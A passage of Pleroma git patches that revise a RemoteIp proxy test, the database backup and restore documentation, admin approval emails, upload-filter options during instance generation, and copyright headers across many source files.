["127.0.0.0/8"]) + Pleroma.Config.put([RemoteIp, :proxies], ["10.0.0.3/24"]) + + conn = + conn(:get, "/") + |> put_req_header("x-forwarded-for", "10.0.0.3, 1.1.1.1") + |> RemoteIp.call(nil) + + assert conn.remote_ip == {1, 1, 1, 1} + end + end end -- cgit v1.2.3 From 8bfc5d9a0cf96739a6a73eae3c1d96277da8ae1b Mon Sep 17 00:00:00 2001 From: Maksim Date: Wed, 7 Oct 2020 19:32:09 +0000 Subject: Apply 1 suggestion(s) to 1 file(s) --- test/plugs/remote_ip_test.exs | 1 + 1 file changed, 1 insertion(+) diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs index 2da9f616b..5f1b8a539 100644 --- a/test/plugs/remote_ip_test.exs +++ b/test/plugs/remote_ip_test.exs @@ -92,6 +92,7 @@ test "proxies set without CIDR format" do |> RemoteIp.call(nil) assert conn.remote_ip == {1, 1, 1, 1} + end test "proxies set `nonsensical` CIDR" do Pleroma.Config.put([RemoteIp, :reserved], ["127.0.0.0/8"]) -- cgit v1.2.3 From 6ee20eb3285a99fab880150a9dfeebadc46fde76 Mon Sep 17 00:00:00 2001 From: Maksim Date: Wed, 7 Oct 2020 19:32:42 +0000 Subject: Apply 1 suggestion(s) to 1 file(s) --- test/plugs/remote_ip_test.exs | 1 - 1 file changed, 1 deletion(-) diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs index 5f1b8a539..b45baf75f 100644 --- a/test/plugs/remote_ip_test.exs +++ b/test/plugs/remote_ip_test.exs @@ -104,7 +104,6 @@ test "proxies set `nonsensical` CIDR" do |> RemoteIp.call(nil) assert conn.remote_ip == {1, 1, 1, 1} - end end end -- cgit v1.2.3 From a702f9fb5bff78c99014838eb8f678c30913bd59 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Wed, 7 Oct 2020 15:07:03 -0500 Subject: Lint --- test/plugs/remote_ip_test.exs | 1 - 1 file changed, 1 deletion(-) diff --git a/test/plugs/remote_ip_test.exs b/test/plugs/remote_ip_test.exs index b45baf75f..6d01c812d 100644 --- a/test/plugs/remote_ip_test.exs +++ b/test/plugs/remote_ip_test.exs @@ -104,6 +104,5 @@ test "proxies set `nonsensical` CIDR" do |> RemoteIp.call(nil) assert conn.remote_ip == {1, 1, 1, 1} - end end -- cgit v1.2.3 From a02ed3920f43b4dd67737e5989f65f3298546ea0 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 8 Oct 2020 15:51:56 -0500 Subject: Improve backup/restore documentation --- docs/administration/backup.md | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/docs/administration/backup.md b/docs/administration/backup.md index be57bf74a..10a86c563 100644 --- a/docs/administration/backup.md +++ b/docs/administration/backup.md @@ -5,7 +5,7 @@ 1. Stop the Pleroma service. 2. Go to the working directory of Pleroma (default is `/opt/pleroma`) 3. Run `sudo -Hu postgres pg_dump -d --format=custom -f ` (make sure the postgres user has write access to the destination file) -4. Copy `pleroma.pgdump`, `config/prod.secret.exs` and the `uploads` folder to your backup destination. If you have other modifications, copy those changes too. +4. Copy `pleroma.pgdump`, `config/prod.secret.exs`, `config/setup_db.psql` (if still available) and the `uploads` folder to your backup destination. If you have other modifications, copy those changes too. 5. Restart the Pleroma service. ## Restore/Move @@ -14,11 +14,15 @@ 2. Stop the Pleroma service. 3. Go to the working directory of Pleroma (default is `/opt/pleroma`) 4. Copy the above mentioned files back to their original position. -5. Drop the existing database and recreate an empty one `sudo -Hu postgres psql -c 'DROP DATABASE ;';` `sudo -Hu postgres psql -c 'CREATE DATABASE ;';` -6. Run `sudo -Hu postgres pg_restore -d -v -1 ` -7. If you installed a newer Pleroma version, you should run `mix ecto.migrate`[^1]. This task performs database migrations, if there were any. -8. Restart the Pleroma service. -9. Run `sudo -Hu postgres vacuumdb --all --analyze-in-stages`. This will quickly generate the statistics so that postgres can properly plan queries. +5. Drop the existing database. `sudo -Hu postgres psql -c 'DROP DATABASE ;` +6. Restore the database schema and pleroma postgres role the with the original `setup_db.psql` if you have it: `sudo -Hu postgres psql -f config/setup_db.psql`. + + Alernatively, run the `mix pleroma.instance gen` task again. You can ignore most of the questions, but make the password the same as found in your backup of `config/prod.secret.exs`. Then run the restoration of the pleroma role and schema with of the generated `config/setup_db.psql` as instructed above. You may delete the `config/generated_config.exs` file as it is not needed. + +7. Now restore the Pleroma instance's data into the empty database schema: `sudo -Hu postgres pg_restore -d -v -1 ` +8. If you installed a newer Pleroma version, you should run `mix ecto.migrate`[^1]. This task performs database migrations, if there were any. +9. Restart the Pleroma service. +10. Run `sudo -Hu postgres vacuumdb --all --analyze-in-stages`. This will quickly generate the statistics so that postgres can properly plan queries. [^1]: Prefix with `MIX_ENV=prod` to run it using the production config file. -- cgit v1.2.3 From 5f38e03c8a487da3e9f7f480a684b0dad6a3c086 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 8 Oct 2020 15:54:28 -0500 Subject: Don't always need to drop --- docs/administration/backup.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/administration/backup.md b/docs/administration/backup.md index 10a86c563..1d9b82fcc 100644 --- a/docs/administration/backup.md +++ b/docs/administration/backup.md @@ -14,7 +14,7 @@ 2. Stop the Pleroma service. 3. Go to the working directory of Pleroma (default is `/opt/pleroma`) 4. Copy the above mentioned files back to their original position. -5. Drop the existing database. `sudo -Hu postgres psql -c 'DROP DATABASE ;` +5. Drop the existing database if restoring in-place. `sudo -Hu postgres psql -c 'DROP DATABASE ;` 6. Restore the database schema and pleroma postgres role the with the original `setup_db.psql` if you have it: `sudo -Hu postgres psql -f config/setup_db.psql`. Alernatively, run the `mix pleroma.instance gen` task again. You can ignore most of the questions, but make the password the same as found in your backup of `config/prod.secret.exs`. Then run the restoration of the pleroma role and schema with of the generated `config/setup_db.psql` as instructed above. You may delete the `config/generated_config.exs` file as it is not needed. -- cgit v1.2.3 From e0c5adcc206818e6d135fb5f827017edd0d4044e Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 8 Oct 2020 15:56:37 -0500 Subject: Syntax error --- docs/administration/backup.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/administration/backup.md b/docs/administration/backup.md index 1d9b82fcc..8e5db8c57 100644 --- a/docs/administration/backup.md +++ b/docs/administration/backup.md @@ -14,7 +14,7 @@ 2. Stop the Pleroma service. 3. Go to the working directory of Pleroma (default is `/opt/pleroma`) 4. Copy the above mentioned files back to their original position. -5. Drop the existing database if restoring in-place. `sudo -Hu postgres psql -c 'DROP DATABASE ;` +5. Drop the existing database if restoring in-place. `sudo -Hu postgres psql -c 'DROP DATABASE ;'` 6. Restore the database schema and pleroma postgres role the with the original `setup_db.psql` if you have it: `sudo -Hu postgres psql -f config/setup_db.psql`. Alernatively, run the `mix pleroma.instance gen` task again. You can ignore most of the questions, but make the password the same as found in your backup of `config/prod.secret.exs`. Then run the restoration of the pleroma role and schema with of the generated `config/setup_db.psql` as instructed above. You may delete the `config/generated_config.exs` file as it is not needed. -- cgit v1.2.3 From 1e5fec8d45ac9d16b80986db99abc32ddb7bb87b Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Thu, 8 Oct 2020 16:00:42 -0500 Subject: Ask user to use matching values for database setup --- docs/administration/backup.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/administration/backup.md b/docs/administration/backup.md index 8e5db8c57..b49ff07fb 100644 --- a/docs/administration/backup.md +++ b/docs/administration/backup.md @@ -10,14 +10,14 @@ ## Restore/Move -1. Optionally reinstall Pleroma (either on the same server or on another server if you want to move servers). Try to use the same database name. +1. Optionally reinstall Pleroma (either on the same server or on another server if you want to move servers). 2. Stop the Pleroma service. 3. Go to the working directory of Pleroma (default is `/opt/pleroma`) 4. Copy the above mentioned files back to their original position. 5. Drop the existing database if restoring in-place. `sudo -Hu postgres psql -c 'DROP DATABASE ;'` 6. Restore the database schema and pleroma postgres role the with the original `setup_db.psql` if you have it: `sudo -Hu postgres psql -f config/setup_db.psql`. - Alernatively, run the `mix pleroma.instance gen` task again. You can ignore most of the questions, but make the password the same as found in your backup of `config/prod.secret.exs`. Then run the restoration of the pleroma role and schema with of the generated `config/setup_db.psql` as instructed above. You may delete the `config/generated_config.exs` file as it is not needed. + Alernatively, run the `mix pleroma.instance gen` task again. You can ignore most of the questions, but make the database user, name, and password the same as found in your backup of `config/prod.secret.exs`. Then run the restoration of the pleroma role and schema with of the generated `config/setup_db.psql` as instructed above. You may delete the `config/generated_config.exs` file as it is not needed. 7. Now restore the Pleroma instance's data into the empty database schema: `sudo -Hu postgres pg_restore -d -v -1 ` 8. If you installed a newer Pleroma version, you should run `mix ecto.migrate`[^1]. This task performs database migrations, if there were any. -- cgit v1.2.3 From ec217ca638859d6c4b8071102e7e0546db762990 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Fri, 9 Oct 2020 11:18:48 -0500 Subject: Spelling --- docs/administration/backup.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/administration/backup.md b/docs/administration/backup.md index b49ff07fb..cfedf5b58 100644 --- a/docs/administration/backup.md +++ b/docs/administration/backup.md @@ -17,7 +17,7 @@ 5. Drop the existing database if restoring in-place. `sudo -Hu postgres psql -c 'DROP DATABASE ;'` 6. Restore the database schema and pleroma postgres role the with the original `setup_db.psql` if you have it: `sudo -Hu postgres psql -f config/setup_db.psql`. - Alernatively, run the `mix pleroma.instance gen` task again. You can ignore most of the questions, but make the database user, name, and password the same as found in your backup of `config/prod.secret.exs`. Then run the restoration of the pleroma role and schema with of the generated `config/setup_db.psql` as instructed above. You may delete the `config/generated_config.exs` file as it is not needed. + Alternatively, run the `mix pleroma.instance gen` task again. You can ignore most of the questions, but make the database user, name, and password the same as found in your backup of `config/prod.secret.exs`. Then run the restoration of the pleroma role and schema with of the generated `config/setup_db.psql` as instructed above. You may delete the `config/generated_config.exs` file as it is not needed. 7. Now restore the Pleroma instance's data into the empty database schema: `sudo -Hu postgres pg_restore -d -v -1 ` 8. If you installed a newer Pleroma version, you should run `mix ecto.migrate`[^1]. This task performs database migrations, if there were any. -- cgit v1.2.3 From 3ca98878d27478037233a92f72adb3fbade62035 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Fri, 9 Oct 2020 17:08:05 -0500 Subject: Deep link to the user account in AdminFE in account confirmation emails --- lib/pleroma/emails/admin_email.ex | 2 +- test/emails/admin_email_test.exs | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/emails/admin_email.ex b/lib/pleroma/emails/admin_email.ex index c27ad1065..8979db2f8 100644 --- a/lib/pleroma/emails/admin_email.ex +++ b/lib/pleroma/emails/admin_email.ex @@ -88,7 +88,7 @@ def new_unapproved_registration(to, account) do html_body = """

New account for review: @#{account.nickname}

#{HTML.strip_tags(account.registration_reason)}
- Visit AdminFE + Visit AdminFE """ new() diff --git a/test/emails/admin_email_test.exs b/test/emails/admin_email_test.exs index e24231e27..155057f3e 100644 --- a/test/emails/admin_email_test.exs +++ b/test/emails/admin_email_test.exs @@ -63,7 +63,7 @@ test "new unapproved registration email" do assert res.html_body == """

New account for review: @#{account.nickname}

Plz let me in
- Visit AdminFE + Visit AdminFE """ end end -- cgit v1.2.3 From 6c61ef14c3f48910c52e17c68fce175682717962 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 12 Oct 2020 11:18:39 -0500 Subject: Support enabling upload filters during instance gen --- docs/administration/CLI_tasks/instance.md | 3 ++ lib/mix/tasks/pleroma/instance.ex | 64 ++++++++++++++++++++++++++++++- priv/templates/sample_config.eex | 4 ++ test/tasks/instance_test.exs | 9 ++++- 4 files changed, 77 insertions(+), 3 deletions(-) diff --git a/docs/administration/CLI_tasks/instance.md b/docs/administration/CLI_tasks/instance.md index 989ecc55d..d6913280a 100644 --- a/docs/administration/CLI_tasks/instance.md +++ b/docs/administration/CLI_tasks/instance.md @@ -37,3 +37,6 @@ If any of the options are left unspecified, you will be prompted interactively. - `--static-dir ` - the directory custom public files should be read from (custom emojis, frontend bundle overrides, robots.txt, etc.) - `--listen-ip ` - the ip the app should listen to, defaults to 127.0.0.1 - `--listen-port ` - the port the app should listen to, defaults to 4000 +- `--strip-uploads ` - use ExifTool to strip uploads of sensitive location data +- `--anonymize-uploads ` - randomize uploaded filenames +- `--dedupe-uploads ` - store files based on their hash to reduce data storage requirements if duplicates are uploaded with different filenames diff --git a/lib/mix/tasks/pleroma/instance.ex b/lib/mix/tasks/pleroma/instance.ex index 91440b453..fc21ae062 100644 --- a/lib/mix/tasks/pleroma/instance.ex +++ b/lib/mix/tasks/pleroma/instance.ex @@ -33,7 +33,10 @@ def run(["gen" | rest]) do uploads_dir: :string, static_dir: :string, listen_ip: :string, - listen_port: :string + listen_port: :string, + strip_uploads: :string, + anonymize_uploads: :string, + dedupe_uploads: :string ], aliases: [ o: :output, @@ -158,6 +161,30 @@ def run(["gen" | rest]) do ) |> Path.expand() + strip_uploads = + get_option( + options, + :strip_uploads, + "Do you want to strip location (GPS) data from uploaded images? (y/n)", + "y" + ) === "y" + + anonymize_uploads = + get_option( + options, + :anonymize_uploads, + "Do you want to anonymize the filenames of uploads? (y/n)", + "n" + ) === "y" + + dedupe_uploads = + get_option( + options, + :dedupe_uploads, + "Do you want to deduplicate uploaded files? (y/n)", + "n" + ) === "y" + Config.put([:instance, :static_dir], static_dir) secret = :crypto.strong_rand_bytes(64) |> Base.encode64() |> binary_part(0, 64) @@ -188,7 +215,13 @@ def run(["gen" | rest]) do uploads_dir: uploads_dir, rum_enabled: rum_enabled, listen_ip: listen_ip, - listen_port: listen_port + listen_port: listen_port, + upload_filters: + upload_filters(%{ + strip: strip_uploads, + anonymize: anonymize_uploads, + dedupe: dedupe_uploads + }) ) result_psql = @@ -247,4 +280,31 @@ defp write_robots_txt(static_dir, indexable, template_dir) do File.write(robots_txt_path, robots_txt) shell_info("Writing #{robots_txt_path}.") end + + defp upload_filters(filters) when is_map(filters) do + enabled_filters = + if filters.strip do + [Pleroma.Upload.Filter.ExifTool] + else + [] + end + + enabled_filters = + if filters.anonymize do + enabled_filters ++ [Pleroma.Upload.Filter.AnonymizeFilename] + else + enabled_filters + end + + enabled_filters = + if filters.dedupe do + enabled_filters ++ [Pleroma.Upload.Filter.Dedupe] + else + enabled_filters + end + + enabled_filters + end + + defp upload_filters(_), do: [] end diff --git a/priv/templates/sample_config.eex b/priv/templates/sample_config.eex index bc7e37375..cdddc47ea 100644 --- a/priv/templates/sample_config.eex +++ b/priv/templates/sample_config.eex @@ -71,3 +71,7 @@ config :pleroma, Pleroma.Uploaders.Local, uploads: "<%= uploads_dir %>" config :joken, default_signer: "<%= jwt_secret %>" config :pleroma, configurable_from_database: <%= db_configurable? %> + +<%= if Kernel.length(upload_filters) > 0 do +"config :pleroma, Pleroma.Upload, filters: #{inspect(upload_filters)}" +end %> diff --git a/test/tasks/instance_test.exs b/test/tasks/instance_test.exs index 3b4c041d9..914ccb10a 100644 --- a/test/tasks/instance_test.exs +++ b/test/tasks/instance_test.exs @@ -63,7 +63,13 @@ test "running gen" do "--uploads-dir", "test/uploads", "--static-dir", - "./test/../test/instance/static/" + "./test/../test/instance/static/", + "--strip-uploads", + "y", + "--dedupe-uploads", + "n", + "--anonymize-uploads", + "n" ]) end @@ -82,6 +88,7 @@ test "running gen" do assert generated_config =~ "password: \"dbpass\"" assert generated_config =~ "configurable_from_database: true" assert generated_config =~ "http: [ip: {127, 0, 0, 1}, port: 4000]" + assert generated_config =~ "filters: [Pleroma.Upload.Filter.ExifTool]" assert File.read!(tmp_path() <> "setup.psql") == generated_setup_psql() assert File.exists?(Path.expand("./test/instance/static/robots.txt")) end -- cgit v1.2.3 From 8539e386c3f00537f120487e717ec7b25fe6c572 Mon Sep 17 00:00:00 2001 From: Mark Felder Date: Mon, 12 Oct 2020 12:00:50 -0500 Subject: Add missing Copyright headers --- lib/mix/tasks/pleroma/count_statuses.ex | 4 ++++ lib/mix/tasks/pleroma/digest.ex | 4 ++++ lib/mix/tasks/pleroma/docs.ex | 4 ++++ lib/mix/tasks/pleroma/email.ex | 4 ++++ lib/mix/tasks/pleroma/notification_settings.ex | 4 ++++ lib/pleroma/config/oban.ex | 4 ++++ lib/pleroma/docs/generator.ex | 4 ++++ lib/pleroma/docs/json.ex | 4 ++++ lib/pleroma/docs/markdown.ex | 4 ++++ lib/pleroma/emoji/pack.ex | 4 ++++ lib/pleroma/gun/connection_pool.ex | 4 ++++ lib/pleroma/gun/connection_pool/reclaimer.ex | 4 ++++ lib/pleroma/gun/connection_pool/worker.ex | 4 ++++ lib/pleroma/gun/connection_pool/worker_supervisor.ex | 4 ++++ lib/pleroma/http/adapter_helper/default.ex | 4 ++++ lib/pleroma/http/adapter_helper/hackney.ex | 4 ++++ lib/pleroma/jwt.ex | 4 ++++ lib/pleroma/moderation_log.ex | 4 ++++ lib/pleroma/plugs/rate_limiter/limiter_supervisor.ex | 4 ++++ lib/pleroma/plugs/rate_limiter/supervisor.ex | 4 ++++ lib/pleroma/telemetry/logger.ex | 4 ++++ lib/pleroma/web/activity_pub/builder.ex | 4 ++++ lib/pleroma/web/activity_pub/side_effects.ex | 4 ++++ lib/pleroma/web/mailer/subscription_controller.ex | 4 ++++ lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex | 4 ++++ lib/pleroma/web/pleroma_api/controllers/emoji_pack_controller.ex | 4 ++++ lib/pleroma/web/rich_media/parsers/ttl/aws_signed_url.ex | 4 ++++ lib/pleroma/web/rich_media/parsers/ttl/ttl.ex | 4 ++++ lib/pleroma/web/views/email_view.ex | 4 ++++ lib/pleroma/web/views/mailer/subscription_view.ex | 4 ++++ test/activity/ir/topics_test.exs | 4 ++++ test/config/deprecation_warnings_test.exs | 4 ++++ test/docs/generator_test.exs | 4 ++++ test/fixtures/config/temp.secret.exs | 4 ++++ test/mfa/backup_codes_test.exs | 4 ++++ test/mfa/totp_test.exs | 4 ++++ test/migrations/20200716195806_autolinker_to_linkify_test.exs | 4 ++++ .../migrations/20200722185515_fix_malformed_formatter_config_test.exs | 4 ++++ test/migrations/20200724133313_move_welcome_settings_test.exs | 4 ++++ test/migrations/20200802170532_fix_legacy_tags_test.exs | 4 ++++ test/safe_jsonb_set_test.exs | 4 ++++ test/tasks/digest_test.exs | 4 ++++ test/tasks/email_test.exs | 4 ++++ test/tasks/emoji_test.exs | 4 ++++ test/web/activity_pub/mrf/mrf_test.exs | 4 ++++ test/web/activity_pub/object_validators/types/date_time_test.exs | 4 ++++ test/web/activity_pub/object_validators/types/recipients_test.exs | 4 ++++ test/web/chat_channel_test.exs | 4 ++++ test/web/media_proxy/invalidation_test.exs | 4 ++++ test/web/media_proxy/invalidations/http_test.exs | 4 ++++ test/web/media_proxy/invalidations/script_test.exs | 4 ++++ .../controllers/two_factor_authentication_controller_test.exs | 4 ++++ test/web/static_fe/static_fe_controller_test.exs | 4 ++++ 53 files changed, 212 insertions(+) diff --git a/lib/mix/tasks/pleroma/count_statuses.ex b/lib/mix/tasks/pleroma/count_statuses.ex index e1e8195dd..8761d8f17 100644 --- a/lib/mix/tasks/pleroma/count_statuses.ex +++ b/lib/mix/tasks/pleroma/count_statuses.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Mix.Tasks.Pleroma.CountStatuses do @shortdoc "Re-counts statuses for all users" diff --git a/lib/mix/tasks/pleroma/digest.ex b/lib/mix/tasks/pleroma/digest.ex index 3595f912d..cac148b88 100644 --- a/lib/mix/tasks/pleroma/digest.ex +++ b/lib/mix/tasks/pleroma/digest.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Mix.Tasks.Pleroma.Digest do use Mix.Task import Mix.Pleroma diff --git a/lib/mix/tasks/pleroma/docs.ex b/lib/mix/tasks/pleroma/docs.ex index 6088fc71d..ad5c37fc9 100644 --- a/lib/mix/tasks/pleroma/docs.ex +++ b/lib/mix/tasks/pleroma/docs.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Mix.Tasks.Pleroma.Docs do use Mix.Task import Mix.Pleroma diff --git a/lib/mix/tasks/pleroma/email.ex b/lib/mix/tasks/pleroma/email.ex index 9972cb988..bc5facc09 100644 --- a/lib/mix/tasks/pleroma/email.ex +++ b/lib/mix/tasks/pleroma/email.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Mix.Tasks.Pleroma.Email do use Mix.Task import Mix.Pleroma diff --git a/lib/mix/tasks/pleroma/notification_settings.ex b/lib/mix/tasks/pleroma/notification_settings.ex index 00f5ba7bf..f99275de1 100644 --- a/lib/mix/tasks/pleroma/notification_settings.ex +++ b/lib/mix/tasks/pleroma/notification_settings.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Mix.Tasks.Pleroma.NotificationSettings do @shortdoc "Enable&Disable privacy option for push notifications" @moduledoc """ diff --git a/lib/pleroma/config/oban.ex b/lib/pleroma/config/oban.ex index 9f601b1a3..8e0351d52 100644 --- a/lib/pleroma/config/oban.ex +++ b/lib/pleroma/config/oban.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Config.Oban do require Logger diff --git a/lib/pleroma/docs/generator.ex b/lib/pleroma/docs/generator.ex index a671a6278..a70f83b73 100644 --- a/lib/pleroma/docs/generator.ex +++ b/lib/pleroma/docs/generator.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Docs.Generator do @callback process(keyword()) :: {:ok, String.t()} diff --git a/lib/pleroma/docs/json.ex b/lib/pleroma/docs/json.ex index feeb4320e..13618b509 100644 --- a/lib/pleroma/docs/json.ex +++ b/lib/pleroma/docs/json.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Docs.JSON do @behaviour Pleroma.Docs.Generator @external_resource "config/description.exs" diff --git a/lib/pleroma/docs/markdown.ex b/lib/pleroma/docs/markdown.ex index da3f20f43..eac0789a6 100644 --- a/lib/pleroma/docs/markdown.ex +++ b/lib/pleroma/docs/markdown.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Docs.Markdown do @behaviour Pleroma.Docs.Generator diff --git a/lib/pleroma/emoji/pack.ex b/lib/pleroma/emoji/pack.ex index 8f1989ada..0670f29f1 100644 --- a/lib/pleroma/emoji/pack.ex +++ b/lib/pleroma/emoji/pack.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Emoji.Pack do @derive {Jason.Encoder, only: [:files, :pack, :files_count]} defstruct files: %{}, diff --git a/lib/pleroma/gun/connection_pool.ex b/lib/pleroma/gun/connection_pool.ex index f34602b73..e322f192a 100644 --- a/lib/pleroma/gun/connection_pool.ex +++ b/lib/pleroma/gun/connection_pool.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Gun.ConnectionPool do @registry __MODULE__ diff --git a/lib/pleroma/gun/connection_pool/reclaimer.ex b/lib/pleroma/gun/connection_pool/reclaimer.ex index cea800882..241e8b04f 100644 --- a/lib/pleroma/gun/connection_pool/reclaimer.ex +++ b/lib/pleroma/gun/connection_pool/reclaimer.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Gun.ConnectionPool.Reclaimer do use GenServer, restart: :temporary diff --git a/lib/pleroma/gun/connection_pool/worker.ex b/lib/pleroma/gun/connection_pool/worker.ex index bf57e9e5f..b71816bed 100644 --- a/lib/pleroma/gun/connection_pool/worker.ex +++ b/lib/pleroma/gun/connection_pool/worker.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Gun.ConnectionPool.Worker do alias Pleroma.Gun use GenServer, restart: :temporary diff --git a/lib/pleroma/gun/connection_pool/worker_supervisor.ex b/lib/pleroma/gun/connection_pool/worker_supervisor.ex index 39615c956..4c23bcbd9 100644 --- a/lib/pleroma/gun/connection_pool/worker_supervisor.ex +++ b/lib/pleroma/gun/connection_pool/worker_supervisor.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Gun.ConnectionPool.WorkerSupervisor do @moduledoc "Supervisor for pool workers. Does not do anything except enforce max connection limit" diff --git a/lib/pleroma/http/adapter_helper/default.ex b/lib/pleroma/http/adapter_helper/default.ex index e13441316..8567a616b 100644 --- a/lib/pleroma/http/adapter_helper/default.ex +++ b/lib/pleroma/http/adapter_helper/default.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.HTTP.AdapterHelper.Default do alias Pleroma.HTTP.AdapterHelper diff --git a/lib/pleroma/http/adapter_helper/hackney.ex b/lib/pleroma/http/adapter_helper/hackney.ex index ef84553c1..ff60513fd 100644 --- a/lib/pleroma/http/adapter_helper/hackney.ex +++ b/lib/pleroma/http/adapter_helper/hackney.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.HTTP.AdapterHelper.Hackney do @behaviour Pleroma.HTTP.AdapterHelper diff --git a/lib/pleroma/jwt.ex b/lib/pleroma/jwt.ex index 10102ff5d..faeb77781 100644 --- a/lib/pleroma/jwt.ex +++ b/lib/pleroma/jwt.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.JWT do use Joken.Config diff --git a/lib/pleroma/moderation_log.ex b/lib/pleroma/moderation_log.ex index 47036a6f6..38a863443 100644 --- a/lib/pleroma/moderation_log.ex +++ b/lib/pleroma/moderation_log.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.ModerationLog do use Ecto.Schema diff --git a/lib/pleroma/plugs/rate_limiter/limiter_supervisor.ex b/lib/pleroma/plugs/rate_limiter/limiter_supervisor.ex index 884268d96..0bf5aadfb 100644 --- a/lib/pleroma/plugs/rate_limiter/limiter_supervisor.ex +++ b/lib/pleroma/plugs/rate_limiter/limiter_supervisor.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Plugs.RateLimiter.LimiterSupervisor do use DynamicSupervisor diff --git a/lib/pleroma/plugs/rate_limiter/supervisor.ex b/lib/pleroma/plugs/rate_limiter/supervisor.ex index 9672f7876..ce196df52 100644 --- a/lib/pleroma/plugs/rate_limiter/supervisor.ex +++ b/lib/pleroma/plugs/rate_limiter/supervisor.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Plugs.RateLimiter.Supervisor do use Supervisor diff --git a/lib/pleroma/telemetry/logger.ex b/lib/pleroma/telemetry/logger.ex index 197b1d091..003079cf3 100644 --- a/lib/pleroma/telemetry/logger.ex +++ b/lib/pleroma/telemetry/logger.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Telemetry.Logger do @moduledoc "Transforms Pleroma telemetry events to logs" diff --git a/lib/pleroma/web/activity_pub/builder.ex b/lib/pleroma/web/activity_pub/builder.ex index 9a7b7d9de..298aff6b7 100644 --- a/lib/pleroma/web/activity_pub/builder.ex +++ b/lib/pleroma/web/activity_pub/builder.ex @@ -1,3 +1,7 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + defmodule Pleroma.Web.ActivityPub.Builder do @moduledoc """ This module builds the objects. Meant to be used for creating local objects. diff --git a/lib/pleroma/web/activity_pub/side_effects.ex b/lib/pleroma/web/activity_pub/side_effects.ex index b9a83a544..2eec0ce86 100644 --- a/lib/pleroma/web/activity_pub/side_effects.ex +++ 